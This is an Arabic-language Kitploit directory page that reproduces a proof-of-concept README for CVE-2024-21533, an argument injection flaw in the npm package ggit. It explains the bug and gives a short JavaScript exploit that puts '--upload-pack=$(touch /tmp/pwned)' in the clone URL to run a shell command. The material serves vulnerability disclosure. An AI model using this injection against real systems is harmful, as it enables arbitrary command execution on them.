Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-21533-PoC-ggit — إثبات المفهوم لـ CVE-2024-21533 ggit | Kitploit
أدوات/GitHubGitHub/lirantal/cve-2024-21533-poc-ggit
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن سلسلة التوريد
GitHublirantal/cve-2024-21533-poc-ggit

CVE-2024-21533-PoC-ggit

إثبات المفهوم لـ CVE-2024-21533 ggit

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة حقن الوسائط CVE-2024-21533 في ggit

يصف ggit نفسه بأنه:

root@kitploit:~
Local promise-returning git command wrappers

الموارد:

  • كود المصدر على GitHub للمشروع: https://github.com/bahmutov/ggit
  • حزمة npm للمشروع: https://www.npmjs.com/package/ggit

مقالة تحليلية حول ثغرة حقن الوسائط هذه: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

خلفية عن الاستغلال

أُبلغ عن ثغرة حقن وسائط في حزمة npm ggit.

تظهر هذه الثغرة من خلال واجهة برمجة التطبيقات clone() في المكتبة، والتي تسمح بتحديد عنوان URL البعيد للاستنساخ والملف على القرص للاستنساخ إليه. غير أن المكتبة لا تعقّم مدخلات المستخدم ولا تتحقق من صحة مخطط عنوان URL، كما أنها لا تمرّر علامات سطر الأوامر بشكل صحيح إلى ثنائي git باستخدام أحرف POSIX ذات الشرطة المزدوجة (--) للدلالة على نهاية الخيارات.

وبالتالي، يُتيح ذلك للمستخدمين استغلال ثغرة حقن وسائط في Git بسبب خيار سطر الأوامر --upload-pack الذي يؤدي إلى تنفيذ أوامر عشوائية. (outPath) للاستنساخ إليه، عندها تنطبق الثغرة.

الاستغلال

  1. ثبّت [email protected] أو إصدارًا أقدم
  2. أنشئ إثبات المفهوم التالي:
root@kitploit:~
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. لاحظ إنشاء ملف جديد على القرص في /tmp/pwned

المساهمة

يُرجى الاطلاع على CONTRIBUTING للاطلاع على إرشادات المساهمة في هذا المشروع.

المؤلف

Liran Tal

تنزيل الأداة